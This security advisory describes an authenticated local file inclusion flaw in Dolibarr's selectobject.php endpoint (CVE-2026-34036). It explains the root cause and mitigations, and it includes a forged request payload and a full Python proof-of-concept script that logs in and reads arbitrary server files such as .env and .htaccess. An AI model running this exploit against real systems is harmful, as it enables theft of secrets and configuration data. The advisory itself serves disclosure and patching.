PHP
CVE-2026-34036
MEDIUM
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure
Target
Dolibarr Core (Tested on version 22.0.4)
Summary
A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…).
Vulnerability Details
The vulnerability is caused by a critical design flaw in /core/ajax/selectobject.php where dynamic file inclusion occurs before any access control checks are performed, combined with a fail-open logic in the core ACL function.
- Arbitrary File Inclusion BEFORE Authorization: The endpoint parses the
objectdescparameter into a$classpath. IffetchObjectByElementfails (e.g., by providing a fake class likeA:conf/.htaccess:0), the application falls back todol_include_once($classpath)at line 71. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens *before* the application checks any user permissions. - Access Control Bypass (Fail-Open): At line 102, the application finally attempts to verify permissions by calling
restrictedArea(). Because the object creation failed, the$featuresparameter sent torestrictedArea()is empty (''). Insidesecurity.lib.php, if the$featuresparameter is empty, the access check block is completely skipped, leaving the$readokvariable at1. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.
This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like .htaccess, .env, .json, .sql) are dumped into the HTTP response before the application crashes.
Steps to Reproduce
- Log in to the Dolibarr instance with any user account (no specific permissions required).
- Intercept or manually forge a GET request to the following endpoint:
GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0- Observe the HTTP response. The contents of the
conf/.htaccessfile will be reflected in the response body right before the PHP Fatal Error message. - *(Optional)* Run the attached Python PoC to automate the extraction:
python3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccessImpact
An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (.env), infrastructure configurations (.htaccess), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.
Suggested Mitigation
- Input Validation & Whitelisting: The
$classpathmust be strictly validated or whitelisted before being passed todol_include_once(). - Execution Flow Correction: The file inclusion logic must never be executed before the user's authorization has been fully verified.
- Enforce Fail-Secure ACLs: Modify
restrictedArea()incore/lib/security.lib.phpso that if the$featuresparameter is empty, access is explicitly denied ($readok = 0) instead of allowed by default.
Disclosure Policy & Assistance
The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.
Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.
Thank you for the time and commitment to securing Dolibarr.
Best Regards, Vincent KHAYAT (cnf409)
Video PoC
https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844
PoC Script
#!/usr/bin/env python3
"""Dolibarr selectobject.php authenticated LFI PoC"""
import argparse
import html
import re
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar
LOGIN_MARKERS = ("Login @", "Identifiant @")
LOGOUT_MARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")
def request(
opener, base_url, method, path, params=None, data=None, timeout=15
):
url = f"{base_url.rstrip('/')}{path}"
if params:
url = f"{url}?{urllib.parse.urlencode(params)}"
payload = urllib.parse.urlencode(data).encode("utf-8") if data else None
req = urllib.request.Request(url, method=method.upper(), data=payload)
req.add_header("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr")
req.add_header("Accept", "text/html,application/xhtml+xml")
try:
with opener.open(req, timeout=timeout) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as err:
return err.code, err.read().decode("utf-8", errors="replace")
def extract_login_token(page):
for pattern in (
r'name=["\']token["\']\s+value=["\']([^"\']*)["\']',
r'name=["\']anti-csrf-newtoken["\']\s+content=["\']([^"\']*)["\']',
):
match = re.search(pattern, page, flags=re.IGNORECASE)
if match:
return match.group(1)
return ""
def looks_authenticated(body):
return any(marker in body for marker in LOGOUT_MARKERS)
def clean_included_output(body):
for marker in (
"<br />\n<b>Warning",
"<br />\r\n<b>Warning",
"<br />\n<b>Fatal error",
"<br />\r\n<b>Fatal error",
):
pos = body.find(marker)
if pos != -1:
return body[:pos].rstrip()
return body.rstrip()
def login(opener, base_url, username, password):
code, login_page = request(opener, base_url, "GET", "/")
if code >= 400:
return False, f"HTTP {code} on login page"
token = extract_login_token(login_page)
code, after_login = request(
opener,
base_url,
"POST",
"/index.php?mainmenu=home",
data={
"token": token,
"actionlogin": "login",
"loginfunction": "loginfunction",
"username": username,
"password": password,
},
)
if code >= 400:
return False, f"HTTP {code} on login request"
if looks_authenticated(after_login):
return True, ""
code, home = request(opener, base_url, "GET", "/index.php?mainmenu=home")
if code < 400 and looks_authenticated(home):
return True, ""
return False, "Invalid username or password"
def read_file(opener, base_url, relative_path):
status, body = request(
opener,
base_url,
"GET",
"/core/ajax/selectobject.php",
params={
"outjson": "0",
"htmlname": "x",
"objectdesc": f"A:{relative_path}:0",
},
)
if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):
raise RuntimeError("Session expired or not authenticated")
return status, body, clean_included_output(body)
def parse_args():
parser = argparse.ArgumentParser(
description="Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4)."
)
parser.add_argument(
"--url",
default="http://127.0.0.1:8080",
help="Dolibarr base URL (default: http://127.0.0.1:8080)",
)
parser.add_argument("--username", required=True, help="Dolibarr username")
parser.add_argument("--password", required=True, help="Dolibarr password")
parser.add_argument(
"--file",
dest="target_file",
required=True,
help="Target file to read (e.g. conf/.htaccess).",
)
return parser.parse_args()
def print_result(path, status, raw, clean):
print(f"\n[+] HTTP status: {status}")
print(f"[+] Requested file: {path}")
print("=" * 80)
if clean:
print(html.unescape(clean))
else:
print("(No readable output extracted)")
print("=" * 80)
if clean != raw.rstrip():
print("[i] PHP warnings/fatal output were trimmed from display.")
def summarize_error_body(body, limit=1200):
text = html.unescape(body).strip()
if not text:
return "(Empty response body)"
if len(text) > limit:
return text[:limit].rstrip() + "\n... [truncated]"
return text
def main():
args = parse_args()
opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(CookieJar())
)
ok, reason = login(opener, args.url, args.username, args.password)
if not ok:
print(f"[!] {reason}")
return 1
print("[+] Login successful.")
try:
status, raw, clean = read_file(opener, args.url, args.target_file)
if status >= 400:
print(f"[!] HTTP {status} while reading target file.")
print("=" * 80)
print(summarize_error_body(raw))
print("=" * 80)
return 1
print_result(args.target_file, status, raw, clean)
return 0
except Exception as exc:
print(f"[!] Error: {exc}")
return 1
if __name__ == "__main__":
try:
raise SystemExit(main())
except KeyboardInterrupt:
print("\nInterrupted.")
raise SystemExit(130)AnalysisAI
Dolibarr Core versions up to 22.0.4 allow authenticated users with minimal privileges to read arbitrary non-PHP files from the server via a Local File Inclusion vulnerability in /core/ajax/selectobject.php. The flaw stems from dynamic file inclusion occurring before authorization checks and a fail-open logic in the access control function, enabling exfiltration of sensitive configuration files, environment variables, and logs. Publicly available exploit code exists, and a vendor patch has been released.
Technical ContextAI
The vulnerability exists in the Dolibarr Core AJAX endpoint /core/ajax/selectobject.php (pkg:composer/dolibarr_dolibarr), which processes the objectdesc parameter to construct a dynamic class path passed to dol_include_once() at line 71. The root cause is CWE-98 (Remote File Inclusion), compounded by improper sequencing of authorization checks. When fetchObjectByElement fails due to a malformed objectdesc parameter (e.g., A:conf/.htaccess:0), the application falls back to raw file inclusion before the restrictedArea() access control check at line 102. The security.lib.php restrictedArea() function contains a fail-open flaw: when the features parameter is empty (which occurs when the object fetch fails), the access control block is skipped entirely, leaving the readok variable set to 1, effectively granting access. This combination of execution order and fail-open ACL logic allows arbitrary file disclosure of text-based files (.env, .htaccess, .json, .sql, logs) in the HTTP response before PHP fatal errors prevent code execution.
RemediationAI
Upgrade Dolibarr Core to a patched version released after the upstream commit 743c22e57c0b2a017d6b92bec865d71ce6177a6a (see vendor advisory at https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r for the specific release version containing the fix). The patch implements three key corrections: strict input validation and whitelisting of the objectdesc parameter before file inclusion, reordering of execution flow to ensure authorization checks occur before any file inclusion logic, and modification of restrictedArea() to enforce fail-secure semantics by denying access when the features parameter is empty rather than defaulting to allow. Until patching is completed, apply compensating controls by restricting network access to /core/ajax/selectobject.php to trusted internal subnets via reverse proxy or WAF rules, enforcing role-based access control at the application level to minimize the number of authenticated users, and implementing file access monitoring to detect suspicious .env and configuration file reads. Additionally, ensure sensitive files are not stored in the web root and rotate all secrets found in accessible configuration files.
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External POC / Exploit Code
Leaving vuln.today